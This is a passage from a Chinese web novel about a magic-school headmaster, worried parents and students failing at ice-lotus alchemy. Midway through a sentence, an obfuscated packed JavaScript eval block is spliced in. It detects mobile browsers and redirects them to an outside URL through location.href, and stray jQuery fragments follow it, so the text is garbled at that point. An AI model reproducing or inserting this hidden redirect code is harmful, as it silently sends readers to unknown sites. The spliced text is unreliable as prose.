宁昭是一个很典型的健忘型读者，意思就是，她没法像穿书小说的主角那样，对于剧情如数家珍，很多细节她压根想不起来。


    但是幸好，这本小说里对于极寒天灾的描述比较多，加上女主前期比较菜鸟，花式死在各种场景下，多少能留下一些印象。


    “我并不擅长预言，因此只见到了少许片段。”


    宁昭回答：“不过在预言里，我看到不止一场冰雹雨，并且还将会有暴风雪，未来这片土地将成为彻底的冰雪之国。”


    她的话让家长们的心重重下沉。


    “不过这些极端气象应该不会特别频繁，因此在他们再度来临前，或许有时间找到应对的办法。”


    “如果你们能找到室内的场地，当然不错，但如果暂时找不到，也无需着急。魔法并不畏惧天灾，很快就能恢复正常。”


    宁昭其实无所谓家长们怎么折腾，但她需要效率，就算农田和植物园再次被恶劣的天气毁掉，对她而言也无非是把它们挪一挪位置就能解决。


    花不了多少魔源。


    接下来就是一些更具体的讨论，比如人员分工，这部分宁昭不打算插手，她只要结果就好了。


    最终家长们决定由郁泽清作为代表，和宁昭随时沟通进度和需要配合的细节。


    王富贵有点郁闷，觉得表现的机会被抢了，但没办法，其他人都选郁泽清。


    最后，是关于景区员工需求的事情。


    比如寒冰莲的购买，和魔法土路的铺设。


    “可以，不过具体的交换条件，我还需要再考虑一下。”最后，宁昭这么说。


    家长们见她没有再交谈的兴趣，便识趣的告别离开，不过在这之前，几人和宁昭交换了联系方式。


    呃，虽然魔法乌鸦可以快速往返于学校和旅馆，但到底不够及时。


    发现校长会用平板后，他们自然而然地了解到，这位来自魔法世界的美丽女士，其实是有手机的。


    还是很新款的智能机。


    不过想想，也不奇怪，毕竟他们孩子参加魔法测试，还是扫描的二维码。


    为了方便沟通，他们还建立了一个群，把宁昭拉了进去，让她成为群主。


    ……于是，体育老师宁昭，也有家长群了。


    等离开学园范围，王富贵长长叹了口气。


    “王哥，怎么了？”穆志远询问惆怅的大老板。


    “你们要来找校长，怎么也不和我说声呢？不是说好有事大家一起商量吗？”他尤其不忿地看向穆志远，“穆老兄，没想到你也这么有想法。”


    他看穆志远一副老实样，真以为他是个埋头干活不爱搞事的，没想到也偷偷跑来了。


    穆志远茫然看着他：“什么想法？”


    “咳，你不是来和校长联络感情的？”


    王富贵的话说完，其他几人都停了脚步，又用那种复杂眼神看着他。


    然后，穆志远幽幽道：“我儿子制作了寒冰莲，喊我带回旅馆，我才来的。”


    “啊？”王富贵万万没想到，是这个答案。


    “我也是，顺便给涵涵送点东西。”方慧兰还拿出装有寒冰莲的瓶子，给王富贵看了看。


    “哦，我也是，不过我打算问问校长天灾的事，所以把他们一起拉去了校长室。”郁泽清笑眯眯回答，“倒是王哥，原来你不是为这件事来的吗？”


    王富贵：“……”


    他看了看手机，和儿子的聊天记录还停留在他给自己发照片那条，就没动静了。


    王富贵悲愤了。


    这臭小子！怎么这么没有孝心！


    *


    并不知道被老爹冤枉了一通的王发财，在教室里重重打了个喷嚏，他摸摸鼻子，有些疑惑是谁在骂自己，又愁眉苦脸地继续炼金。


    是的，小胖子不是忘记爹妈在挨寒受冻，而是——


    他压根没炼制成功！


    别看昨天穆卓一次性成功，好像很简单，课后几名学生自己上手试了试才发现，难，很难！


    他们总是在控制魔力流动时出错，教室被炸出一团团的水花，每个人衣服都


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15085232|163577||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    湿了。


    后来几人研究了下，发现问题很可能出在亲和属性不同上。


    还是用钓鱼游戏做比喻，穆卓属于上手就是中级或是高级钓竿，因此抓到鱼的几率更大。


    而其他几人，都是初学者钓竿，一不留神鱼就溜走了。


    但亲和属性这事情没法改变，他们只能努力靠着刷熟练度提升成功率，于是缺乏材料的问题就暴露的很明显。


    炼制失败后，材料是会消失的，几个人都没有足够的准备。


    最后他们轮流拿着穆卓制作的寒冰莲去外面找植物，蕴魔，炼制，导致一直折腾到很晚，才完成校长布置的作业。


    当然，期间等待蕴魔的时间，学生们见缝插针完成冥想课的任务。


    对于他们的课程时间，学校安排的很灵活，除了《植物魔法》的自助课堂是固定时间外，占据课程表主体的冥想课，实际上只要求完成一定的魔源任务。


    是的，学生们可以看到自己上交的魔源。


    不仅如此，他们的学生手册上还有“经验条”和“等级”，每当他们完成一次冥想，经验条都会上涨，此外植物炼金也会根据成功和失败两种情况变成“经验”。


    这倒是有了一种RPG游戏的感觉，但是怎么说呢，这种即时反馈大大增加了学生们学习的兴趣。


    实际上他们每个人，完成了比学园要求的更多次的冥想，只是从手册上看，上交魔源和经验，都会随着长时间冥想而衰减。


    不过在缺乏“经验”获取途径的目前，他们依然乐于增加自己的冥想时间。


    宁昭对此倒是乐见其成，为此她增加了相应的学分规则，每缴纳100点魔源都能增加1点学分。


    总之，学生们自觉进入了冥想、炼金、冥想的枯燥循环里，且乐此不疲。


    只是，虽然大多数人幸运地在循环中，通过努力和一点运气，完成了寒冰莲的炼制，但小胖子却一直炼制失败。


    再一次被水淋了一身后……


    王发财同学，“哇”地一声哭了出来。